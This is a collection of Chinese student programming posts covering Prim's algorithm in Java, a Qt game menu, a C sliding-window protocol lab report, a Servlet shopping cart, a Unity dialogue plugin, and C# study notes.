    通过构造邻接矩阵找最小总权值,如图1右边所示。邻接矩阵中保存了顶点之间的连通关系和权值大小,我们可以构造最小代价数组lowcost[n]来记录图中与各顶点相连的最小权值(其中n为顶点数)。再构造顶点编号数组adjvex[],用于记录lowcost中权值所对应的顶点编号。初始化lowcost数组为邻接矩阵中第一行,即lowcost[] = {0,10,#,#,#,11,#,#,#} (这里用“#”表示图中无穷)。除去起始顶点v0外,其余为n-1条边的权值。我们将v1行的权值与lowcost数组中保存的权值对比,如果对应的权值比lowcost中的小,则替换之,这里比较后得到的lowcost[] = {0,10,18,#,#,11,16,#,12}。依次遍历邻接矩阵中剩余的v2到v8,即可得到总权值最小的lowcost数组。
    但是,这样虽然保证了总权值最小,但是不能保证所有节点是连通的。
    由lowcost数组可以知道,权值为“#”是无效权值,即与当前顶点不相连的顶点,权值为0表示顶点本身或者说是已经匹配到的相连的最小权值点。在每次重建lowcost数组之后,遍历数组中的权值,将权值最小的项置为0,表示对应顶点已经匹配到了权值最小的边。并记录该顶点的编号为minId,下次更新lowcost数组从minId开始搜寻,以此类推。比如,初始化lowcost后将权值最小的顶点,即v1置为0,得到lowcost[] = {0,0,#,#,#,11,#,#,#},minId = 1。之后,从v1开始替换lowcost中的权值。当lowcost中所有的权值都置为0时,即所有顶点都连通且保证总权值最小。
    public class Prim { public static void main(String[] args) { int min = Integer.MAX_VALUE; //定义min变量保存每一个lowcost数组中的最小值,默认为无效权值 int minId = 0;//定义minId变量保存最小权值的顶点编号 int sum = 0;//定义sum变量记录总权值 String[] Vertex = new String[] { "A", "B", "C", "D", "E", "F" }; //顶点集 int[][] Matrix = new int[6][]; //邻接矩阵 //邻接矩阵初始化 Matrix[0] = new int[] { 0, 7, 5, 1, min, min }; Matrix[1] = new int[] { 7, 0, min, 6, 3, min }; Matrix[2] = new int[] { 5, min, 0, 7, min, 2 }; Matrix[3] = new int[] { 1, 6, 7, 0, 6, 4 }; Matrix[4] = new int[] { min, 3, min, 6, 0, 7 }; Matrix[5] = new int[] { min, min, 2, 4, 7, 0 }; int vertexSize = Vertex.length;//顶点个数 int lowcost[] = new int[vertexSize];//定义最小代价矩阵 int adjvex[] = new int[vertexSize];//定义数组保存最小权值的顶点编号 //lowcost矩阵初始化 for(int i=0;i<vertexSize;i++) { lowcost[i] = Matrix[0][i]; } for(int i=1;i<vertexSize;i++) { min = Integer.MAX_VALUE; minId = 0; for(int j=1;j<vertexSize;j++) { if(lowcost[j]!=0&&lowcost[j]<min) {//找到lowcost中的最小有效权值 min = lowcost[j];//记录最小值 minId = j;//记录最小权值的顶点编号 } } lowcost[minId] = 0; sum += min; System.out.println("连接顶点:" +Vertex[adjvex[minId]]+" 权值:" +min); for(int j=1;j<vertexSize;j++) { if(lowcost[j]!=0&&Matrix[minId][j]<lowcost[j]) {//在邻接矩阵中以编号为minId的顶点作为下一个顶点对lowcost中进行最小值替换 lowcost[j] = Matrix[minId][j]; adjvex[j] = minId; } } } System.out.println("总权值为:" + sum); }}
    0 留言 2020-08-24 15:51:30 奖励30点积分
  • QT之植物大战僵尸进入页面设计

    首页面
    首先呢,首页面是由一个工具栏,以及一个冒险模式按钮,背景图,加背景音乐组成。
    工具栏就直接使用了QT的ui界面布局,拖拉形成 ,其中只有一个退出按钮。
    退出按钮的信号槽:
    connect(ui->actiontuichu,&QAction::triggered,[=](){this->close();});
    冒险模式按钮:
    QString Img=":/graphics/Screen/Adventure_0.png"; QPushButton * StartBtn = new QPushButton(this); StartBtn->move(this->width()*0.55,this->height()*0.2); QPixmap pix; pix.load(Img); StartBtn->setFixedSize( pix.width(),pix.height()); //设置图片固定大小 StartBtn->setStyleSheet("QPushButton{border:0px;}"); //设置不规则图片样式 StartBtn->setIcon(pix); //设置图标 StartBtn->setIconSize(QSize(pix.width(),pix.height())); //设置图标大小
    特点是要求按钮是以图片的形式,并且通过使用切换原图给它添加的点击闪烁特效让它更生动。
    背景图:
    void MainScene::paintEvent(QPaintEvent *) { QPainter painter(this); QPixmap pix; pix.load(":/graphics/Screen/MainMenu.png"); painter.drawPixmap(0,0,this->width(),this->height(),pix); }
    特点是使用绘画事件。
    背景音乐
    方法一:
    QMediaPlayer *startplayer = new QMediaPlayer; connect(startplayer, SIGNAL(positionChanged(qint64)), this, SLOT(positionChanged(qint64))); startplayer->setMedia(QUrl::fromLocalFile("D:/Qt/Project/Piants vs. Zombies/PiantsVSZombies/graphics/Screen/Faster.wav")); startplayer->setVolume(100); //0~100音量范围,默认是100 startplayer->play();
    方法二:
    QSound * startSound = new QSound( ":/graphics/audio/bleep.wav",this); QSound::play(":/graphics/Screen/Faster.wav"); startSound->setLoops(-1); startSound->play();
    我原本使用方法二,但是方法二只能用wav文件,且适合短暂的音效(好吧,我试了使用短暂的音效 也不行 不知道为什么 看着网上人家的视频可以。。。)
    所以我使用了方法一,但是还是遇到一个问题,相对路径,播放不了,绝对路径才行,这样一来就很难受,如果我要打包这游戏给别人玩,别人安装路径和我设置不一样就听不到音效了,这也是我还需要克服的一个难点。
    首页面
    这个时候我们需要实现“点击冒险模式进入下一页面”的功能,显然我们需要connect点击按钮信号以及切换页面的槽函数。
    首先是要新建一个地图选择页面:

    然后在mainscene.h里面#include”chooselevelscene.h”:

    再会回到 mainscene.cpp文件里 connect:

    这样你就可以实现切换页面啦。
    选择地图页面
    然后就是对选择地图页面进行布局,这个我没有添加ui界面,所以使用纯代码敲出那些控件。具体如下:

    然后就是建立了6个按钮 分别进入到6个同的地图(目前我只做了一个地图,所以有5个会弹出以下这个)

    唯一有用的按钮是这个:
    playScene =new PlayScene; QPushButton * Btn1 = new QPushButton("早晨草原",this); Btn1->resize( 212,40); //重置按钮大小 Btn1->move(180,224); Btn1->setStyleSheet("QPushButton{font-family:'楷体';font-size:28px;}\ QPushButton:hover{background-color:rgb(50, 170, 200)}"); connect(Btn1,&QPushButton::clicked,[=](){ //进入第一个地图 playScene->setGeometry(this->geometry()); this->hide(); playScene->show(); });
    也是切页,和上述具体操作差不多。
    下一期就要讲如何实现植物大战僵尸的游戏主体部分了。
    0 留言 2020-08-24 14:35:19 奖励30点积分
  • 基于C语言实现的滑动窗口协议

    一、实验内容利用所学数据链路层原理,自己设计一个滑动窗口协议,在仿真环境下编程实现有噪音信道环境下两站点之间无差错双工通信。信道模型为8000bps全双工卫星信道,信道传播时延270毫秒,信道误码率为10-5,信道提供字节流传输服务,网络层分组长度固定为256字节。
    二、实验目的通过该实验,进一步巩固和深刻理解数据链路层误码检测的CRC校验技术,以及滑动窗口的工作机理。滑动窗口机制的两个主要目标:(1) 实现有噪音信道环境下的无差错传输; (2)充分利用传输信道的带宽。在程序能够稳定运行并成功实现第一个目标之后,运行程序并检查在信道没有误码和存在误码两种情况下的信道利用率。为实现第二个目标,提高滑动窗口协议信道利用率,需要根据信道实际情况合理地为协议配置工作参数,包括滑动窗口的大小和重传定时器时限以及ACK搭载定时器的时限。这些参数的设计,需要充分理解滑动窗口协议的工作原理并利用所学的理论知识,经过认真的推算,计算出最优取值,并通过程序的运行进行验证。
    通过该实验提高同学的编程能力和实践动手能力,体验协议软件在设计上各种问题和调试难度,设计在运行期可跟踪分析协议工作过程的协议软件,巩固和深刻理解理论知识并利用这些知识对系统进行优化,对实际系统中的协议分层和协议软件的设计与实现有基本的认识。
    三、实验环境
    win10平台 版本1909 (OS内部版本 18363.900)
    Visual Studio Code
    Visual Studio 2019

    四、软件设计4.1 数据结构结构体定义
    typedef unsigned char seq_nr;typedef unsigned char frame_kind;typedef int event_type; //protocol中定义5个event/*#define NETWORK_LAYER_READY 0 //网络层有待 发送的分组。此事件发生后才 可以调用 get_packet()得到网络层待发送的下一个 分组。#define PHYSICAL_LAYER_READY 1 //物理层发送队列的长度低于50字节#define FRAME_RECEIVED 2 //物理层收到了一整帧#define DATA_TIMEOUT 3 //定时器超时,参数arg中返回发生超时的定时器的编号#define ACK_TIMEOUT 4 //所设置的搭载ACK定时器超时*/typedef struct FRAME{ frame_kind kind; //数据种类 seq_nr ack; //ACK号 seq_nr seq; //数据序号 unsigned char data[PKT_LEN]; //数据 PKT_LEN = 256 unsigned int padding;} frame;typedef struct PACKET{ unsigned char data[PKT_LEN]; //数据} packet;
    帧结构
    DATA Frame +=========+========+========+===============+========+ | KIND(1) | SEQ(1) | ACK(1) | DATA(240~256) | CRC(4) | +=========+========+========+===============+========+ ACK Frame +=========+========+========+ | KIND(1) | ACK(1) | CRC(4) | +=========+========+========+ NAK Frame +=========+========+========+ | KIND(1) | ACK(1) | CRC(4) | +=========+========+========+
    宏定义
    #define DATA_RESEND_TIME 2890 //数据帧超时重传定时时间#define ACK_TIMER 1200 //ack帧定时时间#define MAX_SEQ 19 //最大序号#define NR_BUFS ((MAX_SEQ + 1) / 2) //((MAX_SEQ + 1) / 2)// #define inc(k) ((k) = ((k) + 1) % (MAX_SEQ + 1)) //自加
    全局变量
    seq_nr frame_expected; //接受窗口下界seq_nr too_far; //接受窗口上界 + 1seq_nr next_frame_to_send; //发送窗口上界 + 1seq_nr ack_expected; //发送窗口下界seq_nr nbuffered; //发送缓存数量seq_nr oldest_frame = MAX_SEQ + 1;// static seq_nr buffer[PKT_LEN];packet out_buf[NR_BUFS]; //发送缓存packet in_buf[NR_BUFS]; //接受缓存static int phl_ready = 0; //物理层就绪static int no_nak = 1; //没有nak被发送int arrived[NR_BUFS];
    主函数变量
    int arg; //接受wait_for_event返回的参数event_type event; //event_type在protocol.h中定义frame r; //帧结构int len; //保存从物理层收到的数据长度
    4.2 模块结构static void put_frame(unsigned char *frame, int len)//功能: 为frame计算crc,并且将加上4位crc的frame(长度为len + 4 )送到物理层//参数frame 帧起始字节地址//参数len 帧长度static int between(seq_nr a, seq_nr b, seq_nr c)//功能:判断b是否在ac窗口内//参数a 滑动窗口下界//参数b 被判断的序号//参数c 滑动窗口上界static void send_data_frame(frame_kind fk, seq_nr frame_nr, seq_nr frame_expected, packet buffer[])//功能:将buffer中编号为frame_nr的fk类型的数据包发送出去,并且捎带ack。//参数fk 帧种类 有 FRAME_DATA FRAME_ACK FRAME_NAK//参数frame_nr 数据包序号//参数frame_expected 捎带ACK//参数 buffer[] 缓存
    调用关系:箭头→ A → B 表示A模块调用B模块

    4.3 算法流程图
    五、实验结果分析描述你所实现的协议软件是否实现了有误码信道环境中无差错传输功能。
    在有误码信道环境中,若收到错帧有以下措施保证无差错传输功能。

    出错时,若当时未发送该帧的NAK,则发送NAK给对方,要求对方重传,若已经发送NAK,则等待计时器超时后重传
    收到帧序号位于接受窗口的帧时,将该帧放入in_buf中缓存,延迟递交给网络层,即使前面出错了,也能保证在缓冲区内的数据不丢失
    ACK采用捎带确认的方式,如果当前没有数据进行稍待确认,则ACK定时器超时,ACK帧单独重发

    程序的健壮性如何,能否可靠地长时间运行。
    程序的健壮性十分不错。我在-f选项下运行了接近3.5ws(9.7h)没有崩溃,并且效率与之前测得数据匹配,94.38% 94.20%,仅有百分之零点几的下降,说明不仅其健壮性,可靠性。因为时间原因没有继续将其测试下去,但我相信该程序能继续运行下去。

    协议参数的选取:滑动窗口的大小,重传定时器的时限,ACK搭载定时器的时限,这些参数是怎样确定的?根据信道特性数据,分组层分组的大小,以及你的滑动窗口机制,给出定量分析,详细列举出选择这些参数值的具体原因。

    滑动窗口的大小
    链路利用率 <= Ws / (1 + 2Td*C/L)其中B = 8000bps / 263B = 3.802个/s,D = 270ms,因此算出W的最小值约为3.05,因此滑动窗口的大小应该大于3.05,将窗口开大会浪费缓冲区,并且有可能导致物理层拥塞,因此我不打算将缓冲区开成最大。观察log文件,发现数据链路层大概每收8帧发给网络层一次,因此我认为缓存的极限区域为8,但为了留出余量,经过测试发现MAX_SEQ = 19是一个比较好的参数。因此将缓存设置为10,MAX_SEQ = 19, NR_BUFS = 10。
    ACK定时器ACK_RESEN_TIME的确定从理论上看,数据帧263Byte,ACK帧6Byte,单向传输延迟为270ms,通过观察log文件,发现每8帧会传送给网络层一次,因此为了刚好在接收方接受完这八帧时,下8帧也到达,可以算出ACK_RESEND_TIMER,先算出8帧从发送到接受方的时间 263 * 8 + 270 + 7(间隔时间) = 2381ms,因需要在八帧处理完前ack到达,因此ACK_RESEND_TIMER要小于该值,因此我取平均数1200
    数据超时重传定时器DATA_RESEND_TIME的确定理论计算值:263 + 270 + x(假设立马传ACK回来) + 6 + 270 = 809ms + x,但是,如果直接通过理论计算,我认为并不能得到好的参数,因为,理论计算无法考虑到捎带ACK,以及ACK延迟发送的问题,以及队列排队等待,程序处理时间,因此我通过对log的分析,才得到程序中的DATA_RESEND_TIME。第一行为发送帧序号,第二行接受方接受时间+ACK返回到发送放时间,因为程序中存在稍待确认以及延迟发送ACK,因此我假设接到数据立即返回ACK帧,以此算出RTT。该测试log文件名为 datalink-A/B 参数-fud3 A/B 结果 93.74 93.73 DT 3000 AT 270 测试参数DATA_TIMER = 2900, ACK_TIMER = 270

    第一轮数据



    序号
    0
    1
    2
    4
    8
    16
    32
    64
    128




    时间ms
    838
    827
    841
    845
    833
    882
    817
    815
    849



    第二轮数据



    序号
    0
    1
    2
    4
    8
    16
    32
    64
    128




    时间ms
    834
    831
    846
    848
    833
    831
    847
    840
    845



    (加粗为去掉的数据)
    通过第一轮第二轮数据,去掉最低的两个以及最高的两个,可算出,平均RTT = 838.5,并且减去ACK回传时间,以及信道延迟,可得到一个平均数X = RTT – 6ms – 270ms – 270ms = 292.25,可以得到,一个263B的数据帧的处理时间约为292.25ms, 而通过观察.log文件,在ACK_TIMER = 270ms的情况下,大约8个数据包接收方返回一个ACK,因此,我们可以将8个数据包当做一个数据包传送,因此可以算出DATA_TIMER,也就是延迟时间为 8 * 292.25 + 7(间隔时间) + 270 + 6 + 270 = 2891,因此我设置DATA_TIMER为2890。
    理论分析:根据所设计的滑动窗口工作机制(Go-Back-N或者选择重传),推导出在无差错信道环境下分组层能获得的最大信道利用率;推导出在有误码条件下重传操作及时发生等理想情况下分组层能获得的最大信道利用率。给出理论推导过程。理论推导的目的是得到信道利用率的极限数据。为了简化有误码条件下的最大利用率推导过程,可以对问题模型进行简化,比如:假定超时重传的数据帧的回馈ACK帧可以100%正确传输,但是简化问题分析的这些假设必须不会对整个结论产生较大的误差。

    无差错信道下:无差错信道,当a,b以洪水模式发送数据包时,链路利用率的极限值应该为256/263 = 97.34%
    有差错信道下:当差错率为10^-5时,10^5bit约能产生49个数据包,其中有一个出错,需要重传,假设重传的数据包一定正确,则10^5bit需要约50个数据包,因此利用率为49256/50263 = 95.4%

    实验结果分析:你的程序运行实际达到了什么样的效率,比对理论推导给出的结论,有没有差距?给出原因。有没有改进的办法?如果没有时间把这些方法付诸编程实施,介绍你的方案。



    序号
    命令选项
    说明
    运行时间(秒)
    Selective算法线路利用率(%)A
    Selective算法线路利用率(%)B




    1
    -–utopia
    无误码信道数据传输
    1700
    54.96
    96.97


    2

    站点A分组层平缓方式发出数据,站点B周期性交替“发送100秒,停发100秒”
    1300
    53.61
    94.38


    3
    –-flood —utopia
    无误码信道,站点A和站点B的分组层都洪水式产生分组
    1300
    96.97
    96.97


    4
    –-flood
    站点A/B的分组层都洪水式产生分组
    1300
    94.35
    94.62


    5
    —flood -–ber=1e-4
    站点A/B的分组层都洪水式产生分组,线路误码率设为10-4
    2700
    62.91
    61.72




    命令为-u时, A效率相对样例数据,高了1%,而B效率仅低0.03%,因此在命令-u情况下,比样例数据稍好
    无命令选项时,A效率相对样例数据,低了0.7%,而B高了0.7%,总体上持平
    命令为 -fu时,AB效率均与样例数据相差0.03%,因此与样例数据持平,仅有稍稍的差距
    命令为-f时,AB均与样例数据相差0.7%,因此与样例有较小的差距
    命令为-f—ber=1e-4时, A效率高于样例数据20%,而B效率仅低于样例数据12%,总体高于8%,因此总体上比样例数据好很多

    对比样例数据,仅有在命令为-f时,能看出总体上1.4%的差距,其他命令下,均与样例接近,甚至在提高误码率的情况下,总体效率高于样例数据。
    我认为出现这种情况的原因是,其中的超时定时器和ACK定时器,我没有完全按照理论计算,而是通过实际数据,取平均值,测得,因此更好地考虑了程序在本机测试环境下产生的一些程序上,物理层上的处理时间,因此效率较好。
    改进方法:

    可以测得更多组数据,我这里仅取了两轮一共20组数据,取其中16组进行计算,若取更多数据可以取10轮200组数据,再除去最高10个及最低10个数据,再进行平均,可以得到更加精确的数据
    可以通过增加一些测试程序逻辑,例如测试程序能直接测试数据包的RTT,从而得到更好地超时定时器时间
    关于NR_BUFS,在误码率高的情况下,增加程序的窗口,可以提升效率,但在误码率低的情况下,过多的窗口会导致缓冲区的浪费,因此要根据链路速率,误码率,等因素进行合适的调整

    通过以上改进方法可以有效提升效率,但因为时间以及工作量原因,不在此进行更加详细的说明。
    存在的问题:在“表3 性能测试记录表”中给出了几种测试方案,在测试中你的程序有没有失败,或者,虽未失败,但表现出来的性能仍有差距,你的程序中还存在哪些问题?

    均没有失败,并且差距很小,甚至在-f –ber=1e-4的情况下总体效率高出样例8%
    程序中存在问题为,没有将最优的窗口大小测试出来,因为需要大量测试,且测试时间一次20min,每组100min,需要时间过大,仅仅采用了一个比较合适的窗口

    六、实验结果截图
    -–utopia 无误码信道数据传输
    该图忘记截头了,A效率54.90% B效率96.97%

    A效率54.18 B效率96.97


    无 站点A分组层平缓方式发出数据,站点B周期性交替“发送100秒,停发100秒”
    A效率 53.61% B效率94.38%


    –-flood —utopia 无误码信道,站点A和站点B的分组层都洪水式产生分组
    A效率96.97% B效率96.97%


    –-flood 站点A/B的分组层都洪水式产生分组
    A效率94.35% B效率94.62%


    —flood -–ber=1e-4 站点A/B的分组层都洪水式产生分组,线路误码率设为10-4
    A效率62.91% B效率61.72%

    七、研究和探索的问题7.1 CRC校验能力首先CRC的检测能力是能检测所有单个错、奇数个错误,和离散的二位错误,以及所有长度为r位的突发差错。并且长度为256Byte的帧出错,且不被发现的概率约为1/2^32次方,甚至概率更低,就以1/2^32次方计算,传输速率为8000bps,假设一天中50%的时间都在检测,则每秒约检测3.9个包,则3.91260*60/2^32为一天出错的概率,则约254924天会出一次错,约700年出一次错。因此能够实现无差错传输,并且我的推算已经是保守计算,实际校验能力可能更强,如果还不放心,可以使用CRC-64进行检验。
    7.2 软件测试方面的问题

    -u 是为了测试软件能否完成传输的基本功能,因为无差错,且数据量并不像洪水模式下这么多。如果-u测试失败,则说明程序有较大问题
    -f是为了测试软件能否在高压力下完成传输的功能,如果无法通过测试,说明软件中一些定时设置和缓存设置需要改变
    -b 增加误码率,增大软件的测试压力,理由如2

    七、实验总结和心得体会本次代码的编写时间约为4h,虽然一次编译通过,但是有许多问题等待解决,因此debug,调试参数最终花了一天的时间

    完成本实验的实际上机调试约为15h
    编程工具上,因为一直使用win系统,以及在初学编程时就用的visual studio进行操作,因此编程工具上没有太大的问题
    编程语言上,对指针的使用以及理解仍然有一点问题,但经过反复思考,查阅资料,最后没有太影响到整个编写程序的过程
    协议方面遇到了一个十分严重的问题,书上代码中,调整frame_expected, next_frame_to_send 均是通过宏定义的 inc(k),进行调整,我在编写代码时,没有考虑到有轮循的状况,便直接参考了这一方面,导致在运行过程中不断出现data ack timeout,然后数据链路层错误,这一方面我想了很久,最后查看log后才发现需要通过模运算保证frame_expected, next_frame_to_send在正常数据范围内
    在使用库的过程中没有发现什么其他的问题,效率方面也没有深入研究源代码分析,主要时间花在调试协议设计上的bug,以及效率优化方面
    通过这次实验,我对加深了对C语言的熟悉程度,对于滑动窗口协议有了更加深刻的理解,也提高了我查阅资料,查阅文档的能力,还有对陌生模块调用的能力,因为protocol.c中的函数均不是自己写的,对我整个代码水平有提高
    0 留言 2020-08-24 14:22:21 奖励46点积分
  • 利用Servlet+JavaBea+JDBC简单实现购物车

    Servlet+JavaBea+JDBC应用(利用sql数据库实现购物车)一、任务描述网上购物是人们日常生活的重要事情之一。在超市中有很多日常生活的用品,如电饭煲、蒸锅、洗衣机、电冰箱等。
    本任务要求,通过所学Servlet、JavaBean和Session知识以及购物车的访问流程(详见P.152),模拟实现购物车功能。用户需要先登录,然后跳转到商品列表页面,点击购买则跳转到购物车中所购买商品的列表页面,否则,返回商品列表页面。另外,在商品列表页面,可以按照商品名称进行查询。

    本任务需要编写3个JSP页面(可以参考下图)、5个Servlet文件(一个是实现登录,一个是商品列表,一个实现商品查询,一个实现添加购物车功能,一个现实购物车信息)、2个JavaBean文件和2个dao文件和1个数据库连接文件,参考下图


    当首次登录商品列表页面,提示用户进行登录。登录成功进入到商品列表页面
    选择某个商品,点击“购买”,可以把该商品添加到购物车内
    要求商品列表页面,能够根据商品名称筛选出相应的商品

    二、运行结果登录页面

    商品列表页面

    名称筛选后的商品列表页面

    购物车列表页面

    首次登陆购物车列表页面

    三、任务目标
    学会分析“实现购物车”程序的实现思路
    根据思路独立完成“实现购物车”的源代码编写、编译和运行
    掌握Servlet和JSP运行原理
    掌握购物车的工作流程
    掌握JavaBean、EL表达式和JSP标签库(JSTL)的使用
    熟练应用Servlet技术、JavaBean和Session对象完成购物车

    四、实现思路4.1 用户进行登录思路完成简单Login.html页面设置标签的id,首先在servlet中通过request.getParameter(“username”);request.getParameter(“password”);获取输入信息,其次通过dao层的Username中的login(User user)方法实现查询数据库信息对照是否相等,在相等时实现跳转商品页面,在不相等时返回登入界面;
    4.2 显示全部商品信息当用户验证登入成功后在LoginServlet跳转至sy1Allbook(Servlet),通过dao层的BookManager的getALLBooks()获取数据库中的所有信息保存于list中,并设置JSP的内置对象的request将信息以传至manager_Page.jsp(商品信息表)中,通过EL表达式的${}与JSP标签库(JSTL)显示在页面中;
    4.3 点击“购买”当用户点击购买时带参数(ID)跳转至myCartServelet中当首次点击时创建HttpSession对象保存信息,再次点击时将信息加值session对象中。最后显设置JSP的内置对象的request将信息以传至myselfCart.jsp (购物车信息表)中,通过EL表达式的${}与JSP标签库(JSTL)显示在页面中;
    4.4 查询思路首先通过选择查询的标签(pressName、bookAuthor、bookName),以及填写的信息(Keyword)传至sy1SearchServelet中,其次通过BookManager的getSearch(String Query_conditions, String Keyword) 查询数据库方法返回list,最后显设置JSP的内置对象的request将信息以传至manager_Page.jsp(商品信息表)中,通过EL表达式的${}与JSP标签库(JSTL)显示在页面中;
    五、总结或感悟5.1 错误总结使用response.sendRedirect():跳转导致信息无法显示。
    5.2 错误解决使用request.getRequestDispatcher().forward(request,response);跳转
    5.3 错误笔记
    request.getRequestDispatcher().forward(request,response):

    属于转发,也是服务器跳转,相当于方法调用,在执行当前文件的过程中转向执行目标文件,两个文件(当前文件和目标文件)属于同一次请求,前后页共用一个request,可以通过此来传递一些数据或者session信息,request.setAttribute()和request.getAttribute()在前后两次执行后,地址栏不变,仍是当前文件的地址不能转向到本web应用之外的页面和网站,所以转向的速度要快URL中所包含的“/”表示应用程序(项目)的路径
    response.sendRedirect():

    属于重定向,也是客户端跳转,相当于客户端向服务端发送请求之后,服务器返回一个响应,客户端接收到响应之后又向服务端发送一次请求,一共是2次请求,前后页不共用一个request,不能读取转向前通过request.setAttribute()设置的属性值在前后两次执行后,地址栏发生改变,是目标文件的地址可以转向到本web应用之外的页面和网站,所以转向的速度相对要慢URL种所包含的”/“表示根目录的路径

    特殊的应用:对数据进行修改、删除、添加操作的时候,应该用response.sendRedirect()。如果是采用了request.getRequestDispatcher().forward(request,response),那么操作前后的地址栏都不会发生改变,仍然是修改的控制器,如果此时再对当前页面刷新的话,就会重新发送一次请求对数据进行修改,这也就是有的人在刷新一次页面就增加一条数据的原因。
    如何采用第二种方式传递数据:

    可以选择session,但要在第二个文件中删除
    可以在请求的url中带上参数,如”add.htm?id=122”

    5.4 总结感悟访问数据库的也时一次次的连接数据库、执行SQL语句等出现代码大量的冗余;学习方法的封装,将访问数据库的操作,以及执行SQL语句的操作封装在一个类中,减少代码冗余。经过这次的课程设计,在实验中学习到了我对前端的请求相应有了更深的理解。
    2 留言 2020-06-03 11:45:07 奖励38点积分
  • unity 对话框免费插件 VIDE dialogue 一丢丢总结

    最近在忙于开发一个小小的游戏,等做到关于对话系统的方面时时候傻了眼,网上的资料的有点少而且难懂,然后我就知道了大佬都是自己写的插件(流下了没有技术的眼泪)。
    然后自己就去找了下unity官方资源商店的免费插件(贫穷)。让我们开始!
    首先导入,然后去找找example1的场景然后去熟悉一下各种设定,然后查看下官方的doc图片学习。
    大概的思路是这样的,让我来理清一下流程:首先要构建好UI,当然样子和名字不重要,要分工好职能,哪里显示名字,哪里是图片。然后呢我们可以拿来example1那个文件夹的manage代码过来(提示一下这些都可以在场景里面直接抄,包括UI,方便理解),然后就是player的代码。
    具体是使用是这样的:首先我们要在进行对话的NPC上放一个VIDE_Assign组件(文件夹有),然后建一个manager(放空物体上),然后把UI层的player的,NPC的,item的各种引用拖到manage里(很容易理解,就是改UI的文字和图片做到输出内容)。
    然后呢就是把player的脚本放到主角身上哈,然后拖下引用。
    接下来就是windows面板的IDVE editor然后新建一个对话(这个很容易),右键新建框,点框里的小圆圈连起来。

    然后设一下tag,主角的可不设(player脚本会把名字传过去,在manage代码里,如果没有请去自行改bug)。
    然后在npc那里的VIDE_Assign组件上选择我们刚才设定好的动画。
    启动!走到面前按e就可以了


    这样VIDE_Assign的基础用法就大概清晰了,如果想要深入请自行探索或者等我学会了再说吧(害,太难了)

    ps:如果不用实例的场景的话用脚本需要改点细节,比如Player里的移动方法,还有碰撞检测,还有按键,我打算做个2d游戏,所以就改了2d的碰撞检测,不过改动量不大,基本按照原来的来,毕竟使用插件还是图个方便,大家还是自行按照需求在原有的基础上改改吧(自带脚本耦合性有点高);》
    0 留言 2020-08-11 10:38:02 奖励16点积分
  • C#知识点总结


    C#数据类型的分类:值类型(简单类型(整数型:char、short、int、long,浮点型:float、double,小数型decimal,布尔型bool)、枚举类型enum、结构类型struct)和引用类型
    值类型和引用类型的定义及其类型间区别

    值类型:栈,包括结构体(数值类型,bool型,用户定义的结构体),枚举,可空类型;引用类型:堆,包括数组、类,接口、委托、object、字符串。区别:值类型存取速度快,存储在栈里,直接存放数据;引用类型存取速度慢,存储在堆里,存放数据地址。
    数据类型间的转换方法:隐式、显示
    分支流程控制,if,switch
    循环流程控制,while, do…while, for, foreach,特别是foreach的使用方法。
    理解面向对象最基本的四个特征:抽象、封装、继承、多态
    类的声明、实例化: [访问修饰符] class 类名 [:基类] {类的成员;}定义类之后,可以用定义的类声明对象,然后再通过这个对象来访问其数据或调用其方法。
    理解类及成员的可访问性(访问修饰符的作用)

    public:公共的,访问不受任何限制,允许跨程序集引用,可用来修饰类及其成员。internal:内部的,只允许在当前程序集内部使用,可用来修饰类及其成员。private:私有的,只允许在该类内部使用,不允许其他类访问,只能用来修饰类成员。protected internal:仅限于当前程序集内部使用,只允许该类及其派生类使用, 只能用来修饰类成员。protected:受保护的,只允许该类及其派生类使用, 只能用来修饰类成员。
    掌握类成员(字段、属性、构造函数、常量、方法)及其定义方法,属性get和set访问器

    [访问修饰符] 数据类型 字段名;[访问修饰符] 数据类型 属性名{get{//获取属性的代码,用return 返回值} set{//设置属性的代码,用value赋值}}[访问修饰符] 构造函数名([参数列表]){ [语句;]}[访问修饰符] const 数据类型 常量名=常量的值;[访问修饰符] 返回值类型 方法名 ([参数列表]){语句;……[return 返回值;]}
    方法的重载:同一类中定义多个同名方法,同名方法的参数个数或参数类型不同
    方法的参数传递5种形式及特点

    按值传参:单向值传递,形参值不会影响实参值,string和object(两种引用型)有按值传参效果按引用传参:形、实参变量指向同一个引用,必须对实参明确赋初值(值类型和string类型参数的形参和实参都必须添加ref关键字)输出参数:不需要对实参赋初值(ref除外),但形参必须在赋值后才能用,被调方法结束前必须给输出参数赋值。形参、实参都使用out关键字来声明,一个方法中可允许有多个输出参数引用类型的参数:按引用传递,不用ref或out关键字数组型参数:形参数组前不添加params修饰符,实参是一个数组名;形参数组前添加params修饰符,对应的实参可以是数组名,也可以是数组元素值的列表
    静态类的定义及使用方法,静态成员、静态构造函数等的特点:只包含静态成员的类;静态成员只能用类名引用(和Java、C++不同),静态方法只能访问静态成员;静态构造函数是用来初始化静态字段的,不能有访问修饰符、参数列表和返回值,如:static Student(){}
    抽象类、密封类、接口的定义及使用方法

    只要包含无法实现的成员的类就是抽象类,抽象成员必须在抽象类中声明但抽象类不一定包含抽象成员,抽象类和抽象方法都必须用abstract定义,如:public abstract double Cubage();,抽象属性只声明该属性的数据类型、名字、可访问性等,如:public abstract double Length{get;set;}阻止一个类被其他类继承,sealed只含有公共抽象方法、可以实现多重继承的类,interface
    基本类和派生类的定义方法,派生类中构造函数的定义及调用:基类的构造函数负责初始化基类的成员字段,派生类的构造函数之初始化新添加的成员字段;声明派生类的构造函数时必须使用base关键字向基类的构造函数传递参数
    多态(new,virtual,override)的实现方法及其区别:new是在程序编译时对基类方法的替换,使用virtual定义虚方法再在派生类中使用override是在程序运行时的重写
    虚方法及抽象方法的异同

    异:虚方法有方法体而抽象方法没有;抽象方法只能在抽象类中声明但虚方法不是;要想实例化虚方法可以不重写但抽象方法必须要派生类覆盖即派生类必须重写抽象类的抽象方法但虚方法不必同:修饰符都不能用private、static
    基本类和派生类对象间的类型转换,详见书126页

    派生类对象即使强制转换为基类对象,所引用的仍然是派生类成员Dog x = new Animal();d = (Dog)a;都是错的
    集合的定义及简单使用:高度结构化地存储任意对象的类,可以随意调整大小

    ArrayList al=new ArrayList();Student stu1=(Student)al[0];
    程序错误类型:语法错误、逻辑错误、运行时错误
    程序异常的定义及异常处理方法:系统可能随时发生的不可预期事件:内存不够、磁盘出错、网络连接中断、数据库无法使用:try….catch、try….catch….catch、try…catch…finally
    ADO.NET访问数据库步骤,见书271页

    Connection对象负责连接数据库;Command对象负责对数据库执行命令;DataReader对象负责读取仅向前和只读的数据流;DataSet(数据集)负责建立数据副本和对数据执行命令;DataAdapter对象负责建立数据库和DataSet的联系
